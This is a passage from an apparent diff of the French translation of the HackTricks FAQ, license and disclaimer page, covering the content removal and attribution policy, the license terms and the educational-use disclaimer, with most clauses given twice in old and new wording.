Cependant, si vous souhaitez toujours que le contenu de votre blog soit retiré de HackTricks, dites-le-nous et nous **supprimerons définitivement tout lien vers votre blog**, ainsi que tout contenu basé sur celui-ci.
> [!CAUTION]
>
> - **Que dois-je faire si je trouve du contenu copié-collé dans HackTricks ?**
Nous donnons toujours **tous les crédits aux auteurs originaux**. Si vous trouvez une page contenant du contenu copié-collé sans source originale référencée, faites-le nous savoir et nous **le supprimerons**, **ajouterons le lien avant le texte**, ou **le réécrirons en ajoutant le lien**.
Nous **attribuons toujours tous les crédits aux auteurs originaux**. Si vous trouvez une page avec du contenu copié-collé sans source originale référencée, informez-nous et nous **le supprimerons**, **ajouterons le lien avant le texte**, ou **le réécrirons en ajoutant le lien**.
## LICENSE
@ -110,34 +110,34 @@ Copyright © Tous droits réservés sauf indication contraire.
#### License Summary:
- Attribution : Vous êtes libre de :
- Partager — copier et redistribuer le matériel dans n'importe quel support ou format.
- Adapter — remixer, transformer et développer le matériel.
- Attribution: Vous êtes libre de :
- Share — copier et redistribuer le matériel sur n'importe quel support ou format.
- Adapt — remixer, transformer et créer à partir du matériel.
#### Additional Terms:
- Contenu tiers : Certaines parties de ce blog/livre peuvent inclure du contenu provenant d'autres sources, comme des extraits d'autres blogs ou publications. L'utilisation de ce contenu se fait selon les principes du fair use (usage équitable) ou avec l'autorisation explicite des détenteurs de droits d'auteur respectifs. Veuillez vous référer aux sources originales pour des informations spécifiques sur les licences concernant le contenu tiers.
- Auteur : Le contenu original rédigé par HackTricks est soumis aux termes de cette licence. Il est recommandé d'attribuer ce travail à l'auteur lors du partage ou de l'adaptation.
- Third-Party Content : Certaines parties de ce blog/livre peuvent inclure du contenu provenant d'autres sources, comme des extraits d'autres blogs ou publications. L'utilisation de ce contenu se fait selon les principes de l'usage équitable ou avec l'autorisation explicite des détenteurs de droits d'auteur respectifs. Veuillez vous référer aux sources originales pour des informations spécifiques sur les licences concernant le contenu tiers.
- Authorship : Le contenu original rédigé par HackTricks est soumis aux termes de cette licence. Il est recommandé d'attribuer ce travail à l'auteur lorsque vous le partagez ou l'adaptez.
#### Exemptions:
- Utilisation commerciale : Pour les demandes concernant l'utilisation commerciale de ce contenu, veuillez me contacter.
- Commercial Use : Pour toute demande concernant l'utilisation commerciale de ce contenu, veuillez me contacter.
Cette licence n'accorde aucun droit de marque ou d'image de marque en relation avec le contenu. Toutes les marques et l'image de marque présentées dans ce blog/livre sont la propriété de leurs propriétaires respectifs.
Cette licence n'accorde aucun droit sur les marques ou l'image de marque en relation avec le contenu. Toutes les marques et éléments de branding présents dans ce blog/livre sont la propriété de leurs détenteurs respectifs.
**En accédant à HackTricks ou en l'utilisant, vous acceptez de respecter les termes de cette licence. Si vous n'acceptez pas ces termes, veuillez ne pas accéder à ce site.**
**En accédant à ou en utilisant HackTricks, vous acceptez de respecter les termes de cette licence. Si vous n'acceptez pas ces termes, veuillez ne pas accéder à ce site.**
## **Avertissement**
## **Disclaimer**
> [!CAUTION]
> Ce livre, 'HackTricks,' est destiné uniquement à des fins éducatives et informatives. Le contenu de ce livre est fourni "tel quel", et les auteurs et éditeurs ne font aucune déclaration ni garantie d'aucune sorte, expresse ou implicite, quant à l'exhaustivité, l'exactitude, la fiabilité, l'adéquation ou la disponibilité des informations, produits, services ou graphiques associés contenus dans ce livre. Toute confiance que vous accordez à de telles informations est donc strictement à vos propres risques.
> Ce livre, 'HackTricks', est destiné uniquement à des fins éducatives et informatives. Le contenu de ce livre est fourni « tel quel », et les auteurs et éditeurs ne font aucune déclaration ni garantie d'aucune sorte, expresse ou implicite, quant à l'exhaustivité, l'exactitude, la fiabilité, l'adéquation ou la disponibilité des informations, produits, services ou graphiques associés contenus dans ce livre. Toute confiance que vous accordez à de telles informations est donc strictement à vos propres risques.
>
> Les auteurs et éditeurs ne pourront en aucun cas être tenus responsables de toute perte ou dommage, y compris, sans s'y limiter, les pertes ou dommages indirects ou consécutifs, ou toute perte ou dommage quelle qu'en soit la cause résultant de la perte de données ou de bénéfices découlant de, ou en relation avec, l'utilisation de ce livre.
> Les auteurs et éditeurs ne pourront en aucun cas être tenus responsables de toute perte ou dommage, y compris, sans s'y limiter, les pertes indirectes ou consécutives, ou toute perte ou dommage quel qu'il soit résultant de la perte de données ou de bénéfices découlant de, ou en relation avec, l'utilisation de ce livre.
>
> De plus, les techniques et conseils décrits dans ce livre sont fournis à des fins éducatives et informatives uniquement, et ne doivent pas être utilisés pour des activités illégales ou malveillantes. Les auteurs et éditeurs ne cautionnent ni ne soutiennent aucune activité illégale ou contraire à l'éthique, et toute utilisation des informations contenues dans ce livre se fait à la discrétion et au risque de l'utilisateur.
> De plus, les techniques et conseils décrits dans ce livre sont fournis à des fins éducatives et informatives uniquement, et ne doivent pas être utilisés pour des activités illégales ou malveillantes. Les auteurs et éditeurs ne cautionnent ni ne soutiennent aucune activité illégale ou contraire à l'éthique, et toute utilisation des informations contenues dans ce livre se fait aux risques et au choix de l'utilisateur.
>
> L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre, et doit toujours demander des conseils et une assistance professionnels lorsqu'il tente de mettre en œuvre l'une des techniques ou conseils décrits ici.
> L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre, et doit toujours chercher des conseils et une assistance professionnels avant de tenter de mettre en œuvre l'une quelconque des techniques ou conseils décrits ici.
>
> En utilisant ce livre, l'utilisateur accepte de libérer les auteurs et éditeurs de toute responsabilité pour tout dommage, perte ou préjudice pouvant résulter de l'utilisation de ce livre ou de toute information qu'il contient.
> En utilisant ce livre, l'utilisateur accepte de dégager les auteurs et éditeurs de toute responsabilité pour tout dommage, perte ou préjudice pouvant résulter de l'utilisation de ce livre ou de toute information qui y est contenue.
{{#include ../banners/hacktricks-training.md}}